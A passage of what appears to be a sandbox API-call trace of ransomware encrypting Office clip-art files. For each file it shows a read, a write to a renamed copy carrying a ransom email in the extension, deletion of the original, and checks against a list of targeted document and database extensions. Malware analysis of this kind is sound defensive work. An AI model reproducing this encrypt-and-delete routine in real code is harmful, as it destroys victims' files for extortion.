lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x319e, lpOverlapped=0x0) returned 1 [0278.350] WriteFile (in: hFile=0x404, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x31a0, lpOverlapped=0x0) returned 1 [0278.351] ReadFile (in: hFile=0x420, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0278.351] WriteFile (in: hFile=0x404, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0278.351] SetEndOfFile (hFile=0x404) returned 1 [0278.351] CloseHandle (hObject=0x404) returned 1 [0278.352] SetFilePointerEx (in: hFile=0x420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.352] SetEndOfFile (hFile=0x420) returned 1 [0278.354] CloseHandle (hObject=0x420) returned 1 [0278.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0278.355] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00103_.gif")) returned 1 [0278.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0278.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0278.553] lstrlenW (lpString=".doc") returned 4 [0278.554] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0278.554] lstrlenW (lpString=".docx") returned 5 [0278.554] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0278.554] lstrlenW (lpString=".pdf") returned 4 [0278.554] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0278.554] lstrlenW (lpString=".xls") returned 4 [0278.554] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0278.554] lstrlenW (lpString=".xlsx") returned 5 [0278.554] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0278.554] lstrlenW (lpString=".ppt") returned 4 [0278.554] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0278.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0278.554] lstrlenW (lpString=".zip") returned 4 [0278.554] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0278.554] lstrlenW (lpString=".rar") returned 4 [0278.554] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0278.554] lstrlenW (lpString=".bz2") returned 4 [0278.554] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0278.554] lstrlenW (lpString=".7z") returned 3 [0278.554] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0278.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0278.554] lstrlenW (lpString=".dbf") returned 4 [0278.554] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0278.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0278.554] lstrlenW (lpString=".1cd") returned 4 [0278.554] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0278.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0278.554] lstrlenW (lpString=".jpg") returned 4 [0278.554] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0278.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0278.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0278.554] lstrlenW (lpString=".doc") returned 4 [0278.554] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0278.554] lstrlenW (lpString=".docx") returned 5 [0278.554] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0278.555] lstrlenW (lpString=".pdf") returned 4 [0278.555] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0278.555] lstrlenW (lpString=".xls") returned 4 [0278.555] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0278.555] lstrlenW (lpString=".xlsx") returned 5 [0278.555] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0278.555] lstrlenW (lpString=".ppt") returned 4 [0278.555] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0278.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0278.555] lstrlenW (lpString=".zip") returned 4 [0278.555] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0278.555] lstrlenW (lpString=".rar") returned 4 [0278.555] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0278.555] lstrlenW (lpString=".bz2") returned 4 [0278.555] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0278.555] lstrlenW (lpString=".7z") returned 3 [0278.555] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0278.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0278.555] lstrlenW (lpString=".dbf") returned 4 [0278.555] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0278.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0278.555] lstrlenW (lpString=".1cd") returned 4 [0278.555] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0278.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00103_.GIF") returned 68 [0278.555] lstrlenW (lpString=".jpg") returned 4 [0278.555] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0278.555] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0278.555] lstrlenW (lpString="AG00120_.GIF") returned 12 [0278.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0278.556] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=3484) returned 1 [0278.556] CloseHandle (hObject=0x3a0) returned 1 [0278.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 0x220 [0278.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0278.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0278.556] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.556] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0278.557] GetLastError () returned 0x0 [0278.557] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0xd9c, lpOverlapped=0x0) returned 1 [0278.700] WriteFile (in: hFile=0x418, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xda0, lpOverlapped=0x0) returned 1 [0278.702] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0278.702] WriteFile (in: hFile=0x418, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0278.702] SetEndOfFile (hFile=0x418) returned 1 [0278.702] CloseHandle (hObject=0x418) returned 1 [0278.703] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.703] SetEndOfFile (hFile=0x3a0) returned 1 [0279.197] CloseHandle (hObject=0x3a0) returned 1 [0279.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0279.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 1 [0279.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0279.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0279.207] lstrlenW (lpString=".doc") returned 4 [0279.207] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.207] lstrlenW (lpString=".docx") returned 5 [0279.207] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.207] lstrlenW (lpString=".pdf") returned 4 [0279.207] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.208] lstrlenW (lpString=".xls") returned 4 [0279.208] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.208] lstrlenW (lpString=".xlsx") returned 5 [0279.208] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.208] lstrlenW (lpString=".ppt") returned 4 [0279.208] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0279.208] lstrlenW (lpString=".zip") returned 4 [0279.208] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.208] lstrlenW (lpString=".rar") returned 4 [0279.208] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.208] lstrlenW (lpString=".bz2") returned 4 [0279.208] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.208] lstrlenW (lpString=".7z") returned 3 [0279.208] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0279.208] lstrlenW (lpString=".dbf") returned 4 [0279.208] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0279.208] lstrlenW (lpString=".1cd") returned 4 [0279.208] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0279.208] lstrlenW (lpString=".jpg") returned 4 [0279.208] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0279.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0279.208] lstrlenW (lpString=".doc") returned 4 [0279.208] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.208] lstrlenW (lpString=".docx") returned 5 [0279.208] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.208] lstrlenW (lpString=".pdf") returned 4 [0279.208] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.208] lstrlenW (lpString=".xls") returned 4 [0279.209] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.209] lstrlenW (lpString=".xlsx") returned 5 [0279.209] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.209] lstrlenW (lpString=".ppt") returned 4 [0279.209] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0279.209] lstrlenW (lpString=".zip") returned 4 [0279.209] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.209] lstrlenW (lpString=".rar") returned 4 [0279.209] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.209] lstrlenW (lpString=".bz2") returned 4 [0279.209] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.209] lstrlenW (lpString=".7z") returned 3 [0279.209] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0279.209] lstrlenW (lpString=".dbf") returned 4 [0279.209] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0279.209] lstrlenW (lpString=".1cd") returned 4 [0279.209] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0279.209] lstrlenW (lpString=".jpg") returned 4 [0279.209] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.209] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0279.209] lstrlenW (lpString="AG00139_.GIF") returned 12 [0279.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0279.210] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=10607) returned 1 [0279.210] CloseHandle (hObject=0x3a0) returned 1 [0279.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 0x220 [0279.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0279.210] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.210] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0279.211] GetLastError () returned 0x0 [0279.211] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x296f, lpOverlapped=0x0) returned 1 [0279.239] WriteFile (in: hFile=0x418, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x2970, lpOverlapped=0x0) returned 1 [0279.240] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0279.240] WriteFile (in: hFile=0x418, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0279.240] SetEndOfFile (hFile=0x418) returned 1 [0279.240] CloseHandle (hObject=0x418) returned 1 [0279.241] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.241] SetEndOfFile (hFile=0x3a0) returned 1 [0279.243] CloseHandle (hObject=0x3a0) returned 1 [0279.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0279.243] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 1 [0279.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0279.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0279.244] lstrlenW (lpString=".doc") returned 4 [0279.244] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.244] lstrlenW (lpString=".docx") returned 5 [0279.244] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.244] lstrlenW (lpString=".pdf") returned 4 [0279.244] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.244] lstrlenW (lpString=".xls") returned 4 [0279.244] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.244] lstrlenW (lpString=".xlsx") returned 5 [0279.244] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.244] lstrlenW (lpString=".ppt") returned 4 [0279.244] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0279.244] lstrlenW (lpString=".zip") returned 4 [0279.244] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.244] lstrlenW (lpString=".rar") returned 4 [0279.244] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.244] lstrlenW (lpString=".bz2") returned 4 [0279.245] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.245] lstrlenW (lpString=".7z") returned 3 [0279.245] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0279.245] lstrlenW (lpString=".dbf") returned 4 [0279.245] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0279.245] lstrlenW (lpString=".1cd") returned 4 [0279.245] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0279.245] lstrlenW (lpString=".jpg") returned 4 [0279.245] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0279.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0279.245] lstrlenW (lpString=".doc") returned 4 [0279.245] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.245] lstrlenW (lpString=".docx") returned 5 [0279.245] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.245] lstrlenW (lpString=".pdf") returned 4 [0279.245] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.245] lstrlenW (lpString=".xls") returned 4 [0279.245] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.245] lstrlenW (lpString=".xlsx") returned 5 [0279.245] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.245] lstrlenW (lpString=".ppt") returned 4 [0279.245] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0279.245] lstrlenW (lpString=".zip") returned 4 [0279.245] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.246] lstrlenW (lpString=".rar") returned 4 [0279.246] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.246] lstrlenW (lpString=".bz2") returned 4 [0279.246] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.246] lstrlenW (lpString=".7z") returned 3 [0279.246] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0279.246] lstrlenW (lpString=".dbf") returned 4 [0279.246] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0279.246] lstrlenW (lpString=".1cd") returned 4 [0279.246] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0279.246] lstrlenW (lpString=".jpg") returned 4 [0279.246] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.246] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0279.246] lstrlenW (lpString="AG00157_.GIF") returned 12 [0279.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0279.247] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=4955) returned 1 [0279.247] CloseHandle (hObject=0x3a0) returned 1 [0279.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 0x220 [0279.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0279.248] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.248] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0279.249] GetLastError () returned 0x0 [0279.249] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x135b, lpOverlapped=0x0) returned 1 [0279.503] WriteFile (in: hFile=0x418, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x1360, lpOverlapped=0x0) returned 1 [0279.504] ReadFile (in: 